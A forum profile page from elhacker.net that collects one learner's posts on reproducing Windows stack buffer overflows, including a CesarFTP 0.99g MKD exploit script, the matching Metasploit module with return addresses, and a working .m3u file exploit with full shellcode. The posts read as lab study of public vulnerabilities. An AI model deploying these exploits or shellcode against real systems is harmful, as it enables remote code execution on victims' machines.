elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Usando Git para manipular el directorio de trabajo, el índice y commits (segunda parte)


  Mostrar Mensajes
Páginas: 1 [2] 3 4 5
11  Seguridad Informática / Bugs y Exploits / Necesito ayuda urgente, buffer overflow. en: 27 Febrero 2012, 20:58 pm
Buenas a todos, espero que podais ayudarme porque estoy apunto de lanzarme por un puente...  :-(

Buffer Overflow en CesarFTP 0.99g

Estoy intentando replicar este buffer overflow para seguir aprendiendo estos temas y me he quedado estancado con algunas dudas.

la historia es la siguiente, cuando creo con msfvenom el payload windows/shell/reverse_ord_tcp eliminando los siguientes badchars "\x00\x20\x0a\x0d" (los badchars los extraje del modulo de metasploit)

veo que teniendo un netcat escuchando por el puerto recibo la conexion, pero algo debe de ir mal porque no obtengo ninguna shell.

he modificado con el RET correcto el modulo de metasploit y funciona correctamente pero no soy capaz de replicarle.

mis dudas son estas:

cuando con msfpayload creo la shellcode que puse arriba de arroja dos trozos de codigo, stage1 y stage2. (msfvenom me da un codigo, no dos como msfpayload)

que precisamente es lo que hace msfconsole cuando lo lanzo, crea una stage1 y envia algo, luego crea la stage2 y vuelve a enviar algo hasta que te crea una shell de meterpreter.

como deberia incluir esa parte en el script??.


luego, hay al menos 300 bytes de espacio, si pongo la shellcode de calc.exe la abre a la perfección, sin nigún error en el debbuging, pero cuando pongo la otra se queda medio parado y tengo que forzar la lectura de la pila a mano.

es posible que la eliminación de badchars rompa la shellcode??

con findjump2.exe saco mil offsets para hacer saltar el flujo de la ejecución a mi shellcode, ¿varia el espacio final de la shellcode dependiendo de que JMP ESP escoja??

Otra cosa rarísima es que si en el script en lugar de llamar a la shellcode pongo "B" * 500 para ver mas o menos que espacio tengo disponible, el debbuger no hace absolutamente nada... pero nada de nada... se queda parado como si hubiera recibido el codigo pero lo hubiera asimilado el programa dando la salida ok.

Este es el código que estoy usando, faltan algunas cosas como la propia shellcode y el RET, porque no estoy en casa ahora mismo.

Despues de este está el modulo ruby de metasploit a reproducir, en dicho modulo os pongo "\r\n" cuando define el exploit, porque en el modulo original falta.

Espero que podáis ayudarme, muchas gracias.

Código:
#!/usr/bin/python

from socket import *
import struct

eip = struct.pack('<i', 0x54234568 #me la he inventado)

shellcode = ()


host = "127.0.0.1"
port = 21
user = "ftp"
password = "ftp"

s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))
print s.recv(1024)

s.send("user %s\r\n" % (user))
print s.recv(1024)

s.send("pass %s\r\n" % (password))
print s.recv(1024)

buffer = "MKD "
buffer += "\n" * 671
buffer += "A" * 3
buffer += eip
buffer += "\x90" * 40
buffer += shellcode
buffer += "\r\n"

print "len: %d" % (len(buffer))

s.send(buffer)
print s.recv(1024)

s.close()


Código:
##
# $Id: cesarftp_mkd.rb 11799 2011-02-23 00:58:54Z mc $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
    Rank = AverageRanking
    include Msf::Exploit::Remote::Ftp
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Cesar FTP 0.99g MKD Command Buffer Overflow',
            'Description'    => %q{
                This module exploits a stack buffer overflow in the MKD verb in CesarFTP 0.99g.
                You must have valid credentials to trigger this vulnerability. Also, you
                only get one chance, so choose your target carefully.
            },
            'Author'         => 'MC',
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 11799 $',
            'References'     =>
                [
                    [ 'CVE', '2006-2961'],
                    [ 'OSVDB', '26364'],
                    [ 'BID', '18586'],
                    [ 'URL', 'http://secunia.com/advisories/20574/' ],
                ],
            'Privileged'     => true,
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload'        =>
                {
                    'Space'    => 250,
                    'BadChars' => "\x00\x20\x0a\x0d",
                    'StackAdjustment' => -3500,
                    'Compat'        =>
                        {
                            'SymbolLookup' => 'ws2ord',
                        }
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77e14c29 } ],
                    [ 'Windows 2000 Pro SP4 French',  { 'Ret' => 0x775F29D0 } ],
                    [ 'Windows XP SP2/SP3 English',       { 'Ret' => 0x774699bf } ], # jmp esp, user32.dll
                    #[ 'Windows XP SP2 English',       { 'Ret' => 0x76b43ae0 } ], # jmp esp, winmm.dll
                    #[ 'Windows XP SP3 English',       { 'Ret' => 0x76b43adc } ], # jmp esp, winmm.dll
                    [ 'Windows 2003 SP1 English',     { 'Ret' => 0x76AA679b } ],
                ],
            'DisclosureDate' => 'Jun 12 2006',
            'DefaultTarget'  => 0))
    end
    def check
        connect
        disconnect
        if (banner =~ /CesarFTP 0\.99g/)
            return Exploit::CheckCode::Vulnerable
        end
            return Exploit::CheckCode::Safe
    end
    def exploit
        connect_login
        sploit =  "\n" * 671 + rand_text_english(3, payload_badchars)
        sploit << [target.ret].pack('V') + make_nops(40) + payload.encoded + "\r\n"
        print_status("Trying target #{target.name}...")
        send_cmd( ['MKD', sploit] , false)
        handler
        disconnect
    end
end
12  Seguridad Informática / Bugs y Exploits / Tipos de Ataques -- FUZZING en: 9 Diciembre 2011, 14:32 pm
Buenas,

Como he comentado en otro post, estoy vulnerando un servidor ftp que es debil en el comando MKD,

en este caso, no es posible vulnerarlo con lo que se está acostumbrado a ver, ej:

"\x41" * 1000

si no que se realiza con saltos de línea.

'\n' * 671

Mi pregunta es la siguiente...

que tipos de datos tendríamos que introducir en un software para provocar una falla?

he encontrado esto en internet, pero me gustaría algún tipo de desglose:

Citar
Tipos de ataques

Un fuzzer debe intentar diferentes combinaciones de ataques en :

- numeros (signed/unsigned integers/float...)

- caracteres (urls, command-line inputs)

- metadata : user-input text (id3 tag)

- sequencias binarias

Un metodo es definir una lista de "valores peligrosos conocidos" " (fuzz vectors) para cada tipo e injectarlos o su combinacion.

- Para enteros: cero, negativos o o numeros muy grandes

- Para caracteres: escape , caracteres interpretables ( comas, numeral,...)

- Para binarios: Unos al azar
13  Seguridad Informática / Bugs y Exploits / Re: RET´s -- Win 7, home. premiun, enterprise etc.... en: 9 Diciembre 2011, 14:14 pm
Otra pregunta...

Estoy tratando de reproducir el exploit CesarFtp 099g en un lab que me he montado, y no veo que el programa tenga algún fallo.

probandolo instalado en un win xp el programa falla pero en un windows 7 no lo hace.

tiene algo que ver aqui el so?
14  Seguridad Informática / Bugs y Exploits / Re: RET´s -- Win 7, home. premiun, enterprise etc.... en: 9 Diciembre 2011, 14:06 pm
Podrías profundizar algo más??

Que tipos de librerías podría encontrar?

supongo que habrá dos, las del sistemas y las propias del ejecutable,

en cual debería de buscar las direcciones?

15  Seguridad Informática / Bugs y Exploits / RET´s -- Win 7, home. premiun, enterprise etc.... en: 8 Diciembre 2011, 14:17 pm
Buenas, quería saber si las direcciones de retorno varían según la version de windows.

se que si varia el service pack varia la direccion de retorno, aunque no se si siempre.

Este efecto ocurre tambien entre las distintas versiones originales de windows?

entre la version home, premiun, etc?

gracias
16  Seguridad Informática / Bugs y Exploits / Fascinante tanto uno como otro.... en: 11 Noviembre 2011, 03:48 am
Buenas a todos, tengo una duda....

Creo que tanto explotar una falla como encontrarla es igual de interesantes,

me interesa mucho conocer la parte de buscarlas en navegadores...

he probado varios fuzzers y bueno... quizás no sepa usarlos como es debido, quería saber si alguno conoce alguna web que recoja estas cosas, técnicas y demás,

se que en esto soy muy iniciado, pero estoy apunto de acabar la certificación PWB de offensive security e ire de cabeza a por CTP por lo que me fascina.

siento el aburrimiento   :rolleyes:
17  Seguridad Informática / Bugs y Exploits / Re: Dudas con Buffer Overflow... en: 9 Noviembre 2011, 21:23 pm
Usé una shellcode que saqué con msfpayload, un windows\bind tcp por el puerto 1234

quizás no la generé bien... tengo que seguir probando.
18  Seguridad Informática / Bugs y Exploits / Re: Dudas con Buffer Overflow... en: 8 Noviembre 2011, 16:19 pm
VALE!!!!! Conseguido porfín!!! jajajajaj


Madre mia que locura...

Comento lo que he hecho...

Código:
buffer = "A" * 227 
RET = "\xE1\xFA\xDA\x75"
nops = "\x90" * 26

shellcode = ("\xb8\x20\x65\x02\x44\xdb\xc2\xd9\x74\x24\xf4\x5a\x33\xc9"
"\xb1\x32\x31\x42\x12\x03\x42\x12\x83\xca\x99\xe0\xb1\xf6"
"\x8a\x6c\x39\x06\x4b\x0f\xb3\xe3\x7a\x1d\xa7\x60\x2e\x91"
"\xa3\x24\xc3\x5a\xe1\xdc\x50\x2e\x2e\xd3\xd1\x85\x08\xda"
"\xe2\x2b\x95\xb0\x21\x2d\x69\xca\x75\x8d\x50\x05\x88\xcc"
"\x95\x7b\x63\x9c\x4e\xf0\xd6\x31\xfa\x44\xeb\x30\x2c\xc3"
"\x53\x4b\x49\x13\x27\xe1\x50\x43\x98\x7e\x1a\x7b\x92\xd9"
"\xbb\x7a\x77\x3a\x87\x35\xfc\x89\x73\xc4\xd4\xc3\x7c\xf7"
"\x18\x8f\x42\x38\x95\xd1\x83\xfe\x46\xa4\xff\xfd\xfb\xbf"
"\x3b\x7c\x20\x35\xde\x26\xa3\xed\x3a\xd7\x60\x6b\xc8\xdb"
"\xcd\xff\x96\xff\xd0\x2c\xad\xfb\x59\xd3\x62\x8a\x1a\xf0"
"\xa6\xd7\xf9\x99\xff\xbd\xac\xa6\xe0\x19\x10\x03\x6a\x8b"
"\x45\x35\x31\xc1\x98\xb7\x4f\xac\x9b\xc7\x4f\x9e\xf3\xf6"
"\xc4\x71\x83\x06\x0f\x36\x7b\x4d\x12\x1e\x14\x08\xc6\x23"
"\x79\xab\x3c\x67\x84\x28\xb5\x17\x73\x30\xbc\x12\x3f\xf6"
"\x2c\x6e\x50\x93\x52\xdd\x51\xb6\x30\x80\xc1\x5a\xb7")


payload = (buffer +RET +nops +shellcode)

f = open("Exploit.m3u","wb")
f.write(payload)
f.close()


Y listo, nunca me he alegrado tanto de ver el calc.exe en todo su esplendor...

El jmp esp del kernel32.dll no funcionaba y he usado una de user32.dll

aunque me queda una duda... y es para que sirven los nops realmente...

cuando voy a follow stack veo que desde que he sobreescrito EIP hasta que veo de nuevo lineas "AAAA" pasan 26 líneas, de ahi el "\x90" * 26 de arriba, aunque he probado poniendo 30 y seguía funcionando el exploit.


Acabo de probar a poner otra shellcode y me da error... por lo que entiendo que he superado el espacio disponible para la shellcode... me podéis decir como se calcula ese espacio?

voy a probar a meter un pattern donde iria la shellcode... digo yo que me dirá de cuanto espacio dispongo... no??



Muchas gracias Ivanchuk por todo!

19  Seguridad Informática / Bugs y Exploits / Re: Dudas con Buffer Overflow... en: 7 Noviembre 2011, 19:51 pm
Bueno, te cuento mis avances...

he empezado de nuevo y creo que algo mas entiendo... vamos a ver,

pattern_offset me da 227 pero si meto \x41 * 227 veo en el stack que me quedan un par de filas por rellenar,

en cambio si agrego \x41 * 231 + "\xef\xbe\xad\xde"

si veo que ESP toma el valor 0xdeadbeef mientras que EIP tiene "\x41\x41\x41\x41" como valor...

lo he hecho bien? o EIP tiene que tener como valor 0xdeadbeef...

supongo que tendrá que ser ESP ya que es lo siguiente que se ejecuta en la pila...
 :-\
20  Seguridad Informática / Bugs y Exploits / Re: Dudas con Buffer Overflow... en: 7 Noviembre 2011, 09:52 am
Cuando agrego "\xef\xbe\xad\xde" al exploit el resultado es el mismo, la EIP no varía...

no entiendo que diferencia hay.

me puedes explicar esto?
Páginas: 1 [2] 3 4 5
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines